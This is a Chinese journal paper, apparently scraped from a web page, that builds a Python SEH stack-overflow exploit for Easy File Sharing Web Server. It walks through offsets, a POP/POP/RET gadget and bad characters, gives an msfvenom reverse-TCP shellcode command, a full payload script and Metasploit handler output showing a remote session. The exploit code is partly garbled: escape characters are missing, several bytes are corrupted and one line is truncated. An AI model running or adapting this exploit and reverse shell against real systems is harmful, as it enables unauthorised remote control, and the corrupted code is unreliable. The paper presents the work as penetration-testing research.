基于Python的SEH漏洞渗透模块实现

2022-03-27 11:12
成都工业学院学报 2022年1期
关键词:被控缓冲区字符

刘 丹

(江苏联合职业技术学院 苏州工业园区分院数字艺术系,江苏 苏州 215123)

随着网络技术的广泛普及和应用,针对网络漏洞进行的攻击也越来越多。缓冲区溢出漏洞攻击是主要的网络攻击形式,要有效解决该问题,首先需要了解其攻击过程[1]。本文介绍了缓冲区溢出时,覆盖并利用SEH链进行攻击的过程。以获取目标机器远程控制权限为例,介绍了使用Python语言编写针对SEH漏洞的渗透攻击模块通用代码的步骤。需要实现其他不同的攻击需求时,只需要编写相应的攻击载荷,再加入通用的渗透攻击模块中,即可快速实现多种定制化的攻击,有效弥补现有攻击工具的不足。

1 关键技术研究

1.1 Python和网络安全

Python是一种解释型、面向对象、动态数据类型的高级程序设计语言,第一个公开发行版发行于1991年。众多的扩展库使得Python已经成为最受欢迎、用途最广的程序设计语言之一[2]。

市场上存在大量的网络安全工具,但是由于网络环境的复杂多变,这些工具往往具有各种局限性。网络安全人员能根据实际需求进行开发,以弥补工具的不足。Python具有简单易学、可读性强、可扩展、功能强大等特点,能大幅提升网络编程人员的工作效率,受到广大网络安全从业人员的欢迎。

1.2 漏洞渗透

从事渗透测试的人员采用和黑客相同的方式对目标系统或软件进行入侵,以检测现有的安全机制能否抵挡恶意攻击[3]。

Kali系统中提供大量网络和应用漏洞评估工具,可以自动完成漏洞检测和评估。Metasploit是Kali中自带的、最为流行的开源漏洞渗透测试框架,附带数百个已知的软件漏洞。确认系统或软件存在漏洞后,使目标系统执行漏洞渗透程序,再借助Metasploit获取存在漏洞的目标机器的控制权限[4]。

1.3 SEH机制

结构化异常处理(Structured Exception Handling,SEH)是Windows操作系统提供的异常处理机制,在INTEL体系中,当发生存取无效内存地址、被0除等操作时,系统会将异常抛给相关的SEH处理,保证程序不崩溃、可以继续执行[5]。由于通常有很多种异常,因此异常处理程序被设计为链状结构,如图1所示。

图1 SEH链结构

SEH结构体保存在栈中,每个结构体由8个字节组成。前4个字节保存SEH链表指针,指向下1个SEH结构体;后4个字节保存的是异常处理程序的调用句柄,指向对应的异常处理程序[6]。当异常发生时,首先找到第1个SEH结构的异常处理程序进行处理,如果当前异常处理程序无法处理,则通过Next SEH找到下1个SEH结构体,继续处理,如果都无法处理,则交给默认异常处理程序处理[7]。由于该链状设计存在重大漏洞,使得缓存区溢出时,可以利用SEH链实施攻击。

1.4 SafeSEH

微软从Windows XP sp2开始,引入了SEH校验机制SafeSEH。SafeSEH是防止堆栈中的SEH被覆盖而导致被利用的增强型SEH技术[8]。使用.net编译器在编译时将PE文件的合法的异常处理函数解析成一张表并将该表存在PE文件的数据块中,用于运行时检查。如果Handler在函数表中则执行异常处理;如果不在函数表中,则终止程序运行[6]。

如果进程中加载的所有模块都支持SafeSEH的image,则通过覆盖SEH来攻击是不可能实现的,而如果存在一个程序不支持SafeSEH的image,则攻击者就可以覆盖SEH节点控制进程[6]。

2 SEH溢出漏洞利用原理

由于SEH结构存放在栈中,当缓冲区溢出时,SEH结构体中的内容会被覆盖,覆盖的内容会错误引导SEH handler执行,将程序转入被劫持的代码。图2介绍了缓冲区溢出后,想要引导程序进入被劫持的代码时,内存中的各数据分布。

图2 异常发生后内存数据分布

Next SEH域覆盖为“XEBX069090”,对应的指令:Jmp 06 nop nop。由于Next SEH域占4个字节,因此需要2个nop指令用于填充字符。使用该指令跳转到Shellcode区域。

SEH handler域覆盖为POP/POP/RET指令串的地址[10]。当存在SafeSEH保护时,会阻止堆栈中的SEH被覆盖和利用。因此需要从没有SafeSEH保护的模块中找POP/POP/RET指令串地址,绕过保护。这里优先选择调用自身模块中没有开启SafeSEH保护的POP/POP/RET指令串地址。

Shellcode代码存放在SEH handler的后面。SEH handler和Shellcode之间可能存在空字符,可以在Shellcode前添加一段NOPs(空指令)滑过两者中间的空字符,保证Shellcode代码能正常执行。

ESP寄存器的EstablisherFrame域指向当前遍历到的SEH结构体的next SEH域的地址[9]。

结合内存数据分布图,漏洞利用的具体流程为:1)在缓冲区溢出后,触发异常,系统找到指向SEH链表起始处的指针,执行第一个SEH结构中的SEH handler内容;2)SEH handler中的POP、POP指令用于弹出ESP寄存器的前8个字节内容,指向EstablisherFrame。执行RET指令后,将ESP指向的EstablisherFrame域中的Next SEH域的地址弹入EIP中[9];3)Next SEH域的地址弹入EIP后,Next SEH域中存储的指令:jmp 6 nop nop被执行。该指令跳过jmp 6后面的2个nop指令字节以及SEH handler的4个字节,落入nop指令区,再滑行进入Shellcode,完成控制流劫持。4)Shellcode是用机器语言编写的攻击代码,根据不同的攻击需求,编写相应的攻击代码。攻击者通过将Shellcode发送给目标机器执行,取得目标机器的系统控制权限,进一步执行越权操作[11]。

3 漏洞渗透模块实现

3.1 漏洞产生与分析

以Windows10的Easy File Sharing Web Server软件为例,Windows10的IP地址为:192.168.159.1;攻击机选择Kali,攻击机的IP地址为:192.168.159.128。Easy File Sharing Web Server运行后,浏览器输入网址:http://192.168.159.1。访问页面如图3所示。

图3 访问服务器页面

用户名输入10 000个字符“A”,密码输入“123”,发送给服务器,由于用户名字段输入太长,这里借助Python语言编写代码进行登录。Kali中输入的Python代码如下,保存的文件名为“login.py”,存放在/root路径下。

import socket,struct

host="192.168.159.1"

port=80

payload="A"*10000

packet=("POST /forum.ghp HTTP/1.1"

"Host:192.168.159.1"

"User-Agent:Mozilla/5.0 (X11;Linux x86_64;rv:52.0)

6ecko/20100101 Firefox/52.0"

"Accept:text/html,application/xhtml+xml,application/xml

;q=0.9,*/*;q=0.8"

"Accept-Language:en-US,en;q=0.5"

"Accept-Encoding:gzip,deflate"

"Referer:http://192.168.159.1/"

"Cookie:SESSIONID=3321;UserID="+payload+";PassWD=123;

frmUserName=;frmUserPass=;

rememberPass=202%2C197%2C208%2C215%2C201; "

"Connection:close"

"Content-Type:application/x-www-form-urlencoded")

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((host,port))

s.send(packet)

s.close()

以上脚本将10 000个字符A放入请求的Cookie部分,发送给服务器。服务器无法正确解析请求,导致缓冲区溢出。在Windows10系统下载IMMUNITY DEBUGGER工具,借助IMMUNITY DEBUGGER进行漏洞挖掘和分析。打开IMMUNITY DEBUGGER,点击“File”->“Attach”,选中Easy File Sharing Web Server进程,点击“Attach”按钮,再点击运行按钮。在Kali中运行登录代码,Kali中默认安装Python,这里直接输入“python /root/login.py”运行“login.py”代码。代码运行完,回到IMMUNITY DEBUGGER,选择“View->SEH chain”,找到Next SEH的地址为“033A7288”,该地址指向内容,如图4所示。

图4 Next SEH和SEH被覆盖为A

由图4可知,Next SEH和SEH中的内容都被覆盖为“A”字符,说明Windows10的Easy File Sharing Web Server存在基于SEH的栈溢出漏洞。由于用户名字段没有对输入长度进行验证,当输入长度过长时,造成堆栈溢出,软件崩溃。

3.2 漏洞渗透模块实现

根据前面的漏洞利用原理分析可知,想要对SEH漏洞进行利用,需要确定以下内容:Next SEH的偏移量、没有SafeSEH保护的POP/POP/RET指令串地址、实现攻击的Shellcode。

3.2.1 构造唯一字符串,确定偏移量

为了覆盖Next SEH和SEH的内容,首先需要确定覆盖Next SEH和SEH所需要的缓冲区精确长度,即定位Next SEH和SEH的偏移量。这里借助Kali自带的Metasploit工具,使用Metasploit的pattern_create工具产生10 000个不重复的字符作为用户名字段输入。首先进入pattern_create所在目录,命令为:“cd /usr/share/metasploit-framework/tools/exploit”;再执行“./pattern_create.rb -l 10000”命令生成10 000个不重复的字符。

将上述“login.py”脚本的payload变量内容替换成生成的10 000个不重复的字符,再次运行Python脚本,引发溢出异常。使用Immunity Debugger查询SEH链,发现Next SEH被覆盖为“46336646”,SEH被覆盖为“66463466”字符,如图5所示。

图5 查看SEH chain

通过Metasploit的pattern_offset工具定位“46336646”字符和“66463466”字符在原字符串中的偏移量,定位“46336646”字符的命令为:“./pattern_offset.rb -q 46336646 -l 10000”,结果为:4059,同样的方法,找到SEH偏移量:4063。

3.2.2 查找pop pop ret指令串地址

从已加载的未开启SafeSEH保护的DLL/EXE模块的地址空间中搜索POP/POP/RET指令串组合,记录下指令串的地址,覆盖SEH handler域。使用Immunity Debugger的插件mona.py查找POP/POP/RET指令串,在输入框中输入命令:“!mona a”,在Immunity Debugger安装目录下生成a.txt文件。根据前面的分析,由于Windows10系统采用SafeSEH机制保护,因此优先选择从软件自带的没有开启SafeSEH保护的 “ImageLoad.dll”模块中查找POP/POP/RET指令串地址,查找结果为:“ 0x10017743:# POP EBP # POP EBX # RETN ** [ImageLoad.dll]”,即POP/POP/RET指令串地址为:“0x10017743”。

3.2.3 坏字符的确定

Easy File Sharing Web Server的用户名字段对输入内容是有限制的,并非所有的字符都可以出现在用户名字段中。不能出现在用户名字段中的字符称为坏字符。当输入坏字符时,服务器拒绝接收后续内容,导致只传送部分内容给服务器,因此攻击代码Shellcode中需要排除坏字符,以确保所有代码的正常执行。借助Python脚本排查坏字符。首先将Shellcode的内容输入为所有可能的字符:“x01x02…xffxf0”。有改动的部分python代码如下:

payload="A"*4059

payload+="B"*4

payload+="C"*4

shellcode=

("x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx00"

+"x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx10"

+"x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx20"

+"x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx30"

+"x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx40"

+"x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx50"

+"x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx60"

+"x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx70"

+"x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx80"

+"x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fx90"

+"xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxa0"

+"xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxb0"

+"xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxc0"

+"xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxd0"

+"xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxe0"

+"xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexffxf0")

payload+=shellcode

payload+="D"*(10080-4059-4-4-len(shellcode))

主要修改内容为payload变量值。首先使用4 059个“A”字符覆盖Next SEH和SEH所需要的缓冲区;再用“B”字符覆盖Next SEH域;SEH域被覆盖为字符“C”,Shellcode使用所有可能出现的字符代替,剩余字符使用“D”填充以确保输入内容长度足够能引起缓冲区溢出。运行后,使用Immnuity Debugger调试发现,当出现坏字符时,该字符及其后续内容都会发生改变,如图6所示。“3A”后面的字符都发生了改变,因此“x3b”为坏字符。从字符串中去掉该坏字符后,继续测试后续字符是否有其他坏字符。最终确定“x00”和“x3b”2个字符为坏字符。

3.2.4 Shellcode生成

了解了SEH溢出漏洞的利用原理后,以获取目标系统的远程控制权限为例,说明Shellcode的生成过程。利用漏洞渗透进一个系统后,想要控制该系统,需要一个远程控制程序,这里使用的是反向远程控制。Metasploit中提供了msfvenom命令生成远程控制被控端代码,将该代码发送给被控端,当被控端运行代码后,会主动通知主控端计算机来连接,主控端即可取得被控端机器的控制权。使用msfvenom生成Shellcode的命令如下:

msfvenom -p windows/shell/reverse_tcp LHOST=192.168.159.128 LPORT=8989 -b “x00x3b”-e x86/shikata_ga_nai -f python -v shellcode

其中,-p指定使用的攻击载荷;LHOST为攻击机Kali的IP地址;LPORT为Kali端连接的端口号;-b指定需要规避的字符集。将上述命令生成的代码替换掉Python脚本中的Shellcode变量。

3.2.5 完整代码实现

将上述步骤产生的值放入完整的攻击代码中:使用4 059个“A”字符覆盖Next SEH和SEH所需要的缓冲区;再用jmp 06 加2个nop指令(xebx06x90x90)覆盖Next SEH域;SEH域被覆盖为POP/POP/RET指令串地址:10017743,由于网络中传输的数据使用的是小端的无符号整型格式,这里使用struct.pack(“

payload="A"*4059

payload+="xebx06x90x90"

payload+=struct.pack("

shellcode =(

"xb8x1bxe0x9ax23xdaxc8xd9x74x24xf4x5dx33xc9xb1x54x31x45x13x03x45x13x83xed"

+"xe7x02x6fxdfxffx41x90x20xffx25x18xc5xcex65x7ex8dx60x56xf4xc3x8cx1dx58xf0"

+"x07x53x75xf7xa0xdexa3x36x31x72x97x59xb1x89xc4xb9x88x41x19xbbxcdxbcxd0xe9"

+"x86xcbx47x1exa3x86x5bx95xffx07xdcx4axb7x26xcdxdcxccx70xcdxdfx01x09x44xf8"

+"x46x34x1ex73xbcxc2xa1x55x8dx2bx0dx98x22xdex4fxdcx84x01x3ax14xf7xbcx3dxe3"

+"x8ax1axcbxf0x2cxe8x6bxddxcdx3dxedx96xc1x8ax79xf0xc5x0dxadx8axf1x86x50x5d"

+"x70xdcx76x79xd9x86x17xd8x87x69x27x3ax68xd5x8dx30x84x02xbcx1axc0xe7x8dxa4"

+"x10x60x85xd7x22x2fx3dx70x0exb8x9bx87x71x93x5cx17x8cx1cx9dx31x4ax48xcdx29"

+"x7bxf1x86xa9x84x24x32xa0x12x07x6bx2bx62xefx6ex54x41xedxe7xb2xd5x5dxa8x6a"

+"x95x0dx08xdbx7dx44x87x04x9dx67x4dx2dx37x88x38x05xafx31x61xddx4exbdxbfx9b"

+"x50x35x4ax5bx1exbex3flx4fx76xdfxbfx8fx86x4axc0xe5x82xdcx97x91x88x39xdfx3d"

+"x73x6cx63x39x8bxf1x52x31xbdx67xdbx2dxc1x67xdbxadx97xedxdbxc5x4fx56x88xfo"

+"x90x43xbcxa8x04x6cx95x1dx8fx04x1bx7bxe7x8axe4xaex74xccx1bx2cx58x75x74xce"

+"xdc x85x84xa4xdcxd5xecx33xf3xdaxdcxbcxdexb2x74x36x8ex71xe4x47x9bxd4xb8x48"

+"x2fxcdxadxc6xd0xf2xd1x28xedx24xe8x5ex36xf5x4fx50x0dx58xf9xfbx6dxcexf9x29")

payload+=shellcode

上述代码发送给被控端机器,引发缓冲区溢出异常,修改SEH链中内容,转入远程控制程序Shellcode执行。被控端执行Shellcode代码后,主动连接主控端,被主控端控制。

4 漏洞测试

在Kali机器中输入msfconsole启动Metasploit作为主控端,选择模块exploit/multi/handler,并设置本地机器的IP地址:192.168.159.128和端口号:8989,开始攻击,对应过程如下:

msf > use exploit/multi/handler

msf exploit(multi/handler) > set lhost 192.168.159.128

lhost => 192.168.159.128

msf exploit(multi/handler) > set lport 8989

lport => 8989

msf exploit(multi/handler) > exploit

[*]Started reverse TCP handler on 192.168.159.128:8989

再执行Python脚本完成对目标机器的远程控制;此时回到主控端发现已经成功建立了一个session,渗透成功。执行“pwd”命令查看当前所在目录,发现已经在被控端的桌面目录了,还可以执行上传、下载文件、创建账号、远程桌面连接等等越权操作。

msf > use exploit/multi/handler

msf exploit(multi/handler ) > set lhost 192.168.159.128

lhost =>192.168.159.128

msf exploit(multi/handler) > set lport 8989

lport => 8989

msf exploit(multi/handler ) > exploit

[*]Started reverse TCP handler on 192.168.159.128:8989

[*]Sending stage (179779 bytes) to 192.168.159.1

[*] Meterpreter session 1 opened (192.168.159.128:8989->192.168.159.1:56097) at 2020-05-07 22:38:47 +0800

meterpreter > pwd

C:UserslliudaDesktop

5 结语

本文分析了基于Windows的SEH漏洞利用过程,提供了使用Python语言进行SEH漏洞渗透模块编写的通用模板。以获取目标主机远程控制权限为例,重点阐述了SEH偏移量查询、POP/POP/RET指令串地址查找、坏字符确定、Shellcode代码的自动生成等。通过将远程控制程序发送给被控端执行,最终成功获取被控端的访问控制权。研究基于Python的渗透代码编写模板能帮助网络安全从业人员快速编写特定功能的渗透代码,有效发现软件或系统的特定漏洞,很好地弥补了现有网络安全工具的不足。

猜你喜欢
被控缓冲区字符
港警在“修例风波”中拘捕近万人
字符代表几
一种USB接口字符液晶控制器设计
图片轻松变身ASCⅡ艺术画
HBM电子称与西门子S7-200系列PLC自由口通讯
大惯量系统位置控制策略研究
一类装配支线缓冲区配置的两阶段求解方法研究
关键链技术缓冲区的确定方法研究
初涉缓冲区
多目标缓冲区生成算法